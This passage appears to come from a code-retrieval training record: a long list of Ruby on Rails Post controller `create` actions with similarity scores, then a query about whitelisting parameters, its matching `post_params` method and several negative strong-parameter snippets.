post: {\n title: title,\n body: body,\n anonymous: anonymous\n },\n }, authorization_hash\n\n if (response.code == 201)\n puts \"Created successfully\"\n end\n puts \"URL for new resource: #{response.headers[:location]}\"\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end", "def create\n @api_post = Api::Post.new(api_post_params)\n\n if @api_post.save\n render json: @api_post, status: :created, location: @api_post\n else\n render json: @api_post.errors, status: :unprocessable_entity\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.json { render :show, status: :created, location: @post }\n else\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \tif logged_in?\n params[:post][:user_id] = current_user.id\n @post = Post.new(post_params)\n if @post.save\n puts @post.published\n render json: @post\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end\n end", "def create\n respond_with Post.create(post_params)\n end", "def posts(opts)\n response = get(\"posts\", opts)\n response\n end", "def post(*args)\n request(:post, *args)\n end", "def post(*args)\n request :post, *args\n end", "def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @api_post = current_user.posts.new(api_post_params)\n if @api_post.save\n render :show\n else\n render json: @api_post.errors, status: :unprocessable_entity\n end\n end", "def create\n authenticated\n\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new post_params\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n if @post.save\n render :show, status: :created, location: @post\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end", "def create\n puts \"create post: #{post_params.inspect}\"\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(params[:post])\n @title = \"Create New Post\"\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, :notice => 'Post was successfully created.' }\n format.json { render :json => @post, :status => :created, :location => @post }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def json_post\n @content_type = 'text/plain'\n @render_nothing = true\n @rendered_template = true\n @current_layout = nil\n puts \"json_post: submitting #{params[:path]}\" if @@debug\n path = params[:path]\n if path\n puts \"json_post: path is #{path} l=#{path.length}\" if @@debug\n path = path.split('/').compact()\n path.delete('')\n # you cannot make rooted nodes via json atm... fix? xxx\n if path.length > 1\n name = path.pop\n nodes = Note.make_path @user,path\n puts \"json_post: making at path #{path.join('/')}\" if @@debug\n if nodes\n note = nodes.last.make_child @user,params,name\n puts \"json_post: made child #{note} from #{name} l=#{name.length}\"\n params[:path] = path.join('/') # for call to json_query\n # it is important to do a query rather than returning the note; to get freshest order\n json_query\n return\n #write_json note if note\n end\n end\n end\n render :nothing => true\n end", "def create\n post_service = PostService.new(current_user, params)\n post_service.create_post\n #post_service.create\n respond_to do |format|\n if post_service.save?\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { redirect_to new_post_url, alert: post_service.errors }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.json { render json: @post, status: :created, location: @post }\n format.xml { render xml: @post, status: :created, location: @post }\n else\n format.json { render json: @post.errors, status: :unprocessable_entity }\n format.xml { render xml: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n #raise params.inspect\n \n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @posts = Post.page(params[:page]).order('created_at desc')\n @post = Post.new(post_params)\n @user = User.where('account_id == ?', current_account.id)[0]\n respond_to do |format|\n if @post.save\n format.html { redirect_to '/posts' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :index }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(params[:post])\n\t\t\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n user_post_param\n respond_to do |format|\n if @post.save\n format.html do\n redirect_to @post, notice:\n \"Post was successfully created.\"\n end\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json do\n render json: @post.errors, status:\n :unprocessable_entity\n end\n end\n end\n end", "def create\n @api_v1_post = Api::V1::Post.new(api_v1_post_params)\n\n respond_to do |format|\n if @api_v1_post.save\n format.html { redirect_to @api_v1_post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_post }\n else\n format.html { render :new }\n format.json { render json: @api_v1_post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = current_user.posts.new(params[:post])\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(params[:post])\n @post.user_id = current_user.id\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { redirect_to posts_path, flash: { error: @post.errors.full_messages } }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(path, data = {})\n request 'POST', path, body: data.to_json\n end", "def new\n post = Post.new\n render json: post\n end", "def create\n @user = current_user\n @post = @user.posts.build(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save?\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: \"Post was successfully created.\" }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: \"Post was successfully created.\" }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n @post = Post.new(params[:post])\r\n\r\n respond_to do |format|\r\n if @post.save\r\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\r\n format.json { render json: @post, status: :created, location: @post }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @post.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: \"Post was successfully created.\" }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, :notice => \"slam\" }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { redirect_to posts_path }\n flash[:alert] = \"shit.\"\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n post\n end", "def create\n @post = Post.new(content: params[:post][:content], user_id: @user.id)\n respond_to do |format|\n if @post.save\n format.html { redirect_to @user }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { redirect_to @user }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def create\n @post = Post.new(post_params)\n @post.user_id = params[:user_id]\n if @post.save\n render json: @post, meta: { status: :created }, meta_key: 'result', status: :created\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end", "def create\n @post = current_user.posts.new(post_params.merge(writter: current_user.name))\n\n if @post.save\n render json: {status: 1, id: @post.id.to_s, notice: \"新增成功,标题是:#{@post.title.capitalize}\", number: @post.number, errors: []}\n else\n render json: {status: -1, notice: \"新增失败,请先登录\", errors: @post.errors.full_messages}\n end\n end", "def create\n puts \"Trying to Create New Post\"\n # Creates new post with given content tied to given userid\n @post = Post.new(post_params) \n if @post.save\n puts \"Post successfully created\"\n response.status=(201)\n render json: {status: \"Success\", message: [\"Post created!\"]}\n else\n # Error handling\n puts \"Something went wrong while creating new Post\"\n puts(@Post.errors.full_messages)\n response.status=(422)\n render json: { status: \"Error\", message: [@post.errors.full_messages]}\n end\n end", "def create\n @post = current_user.posts.new(post_params)\n respond_to do |format|\n if @post.save\n format.html { redirect_to list_of_posts_post_path(@post.user), notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(*args)\n execute(:post, *args)\n end", "def create\n redirect_to posts_path and return unless Mist.authorized?(:create_post, self)\n coerce_date(params[:post], 'published_at')\n @post = Mist::Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, :notice => 'Post was successfully created.' }\n format.json { render :json => @post, :status => :created, :location => @post }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render action: 'show', status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = current_user.posts.build(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to new_post_successful_posts_path, notice: 'Anúncio criado com sucesso.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(*args)\n prepare_request(:post, args)\n @@client.add(:post, @path, *args)\n end", "def create\n redirect_to login_path unless session[:user_id]\n message = 'Post was successfully created.'\n @post = Post.new(post_params)\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: message }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(params[:post])\n @post.user = User.find_by_auth_token!(cookies[:auth_token])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render action: 'show', status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = current_user.posts.new(post_params)\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n if @post.save\n redirect_to find_redirect(@post.page)\n else\n render :new\n render json: @post.errors, status: :unprocessable_entity\n end\n end" ]
[ "0.74463975", "0.73221767", "0.73072433", "0.7123966", "0.7015686", "0.701327", "0.69841874", "0.6939327", "0.69313824", "0.69053805", "0.68196476", "0.6812792", "0.6793222", "0.6792862", "0.6779654", "0.6779654", "0.67625546", "0.67602354", "0.67515427", "0.6735786", "0.66983837", "0.6694823", "0.6676922", "0.6648634", "0.6618174", "0.6609208", "0.6576672", "0.6567517", "0.6535031", "0.65248317", "0.6517826", "0.6512526", "0.6512526", "0.65004253", "0.64875203", "0.6482612", "0.64796066", "0.6479418", "0.64762664", "0.64762664", "0.64762664", "0.64762664", "0.64762664", "0.64762664", "0.64762664", "0.6452396", "0.6443543", "0.64413923", "0.6439579", "0.6431225", "0.6411242", "0.64027417", "0.6402409", "0.63972473", "0.63956606", "0.6388207", "0.6388207", "0.6380103", "0.6374259", "0.63714516", "0.63714516", "0.63714516", "0.63714516", "0.63714516", "0.63714516", "0.63714516", "0.63714516", "0.63714516", "0.63714516", "0.63714516", "0.63714516", "0.63714516", "0.63714516", "0.63714516", "0.63714516", "0.63714516", "0.63714516", "0.63714516", "0.63714516", "0.63714516", "0.63714516", "0.6369631", "0.6361449", "0.6350474", "0.6349784", "0.6345706", "0.6312865", "0.63084143", "0.630361", "0.63009614", "0.62957925", "0.6295694", "0.62955", "0.6294854", "0.62942207", "0.628781", "0.62877417", "0.6283785", "0.6282612", "0.6263583" ]
0.63764375
58
Never trust parameters from the scary internet, only allow the white list through.
def post_params params.fetch(:post, {}).permit(:title, :body, :user_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def 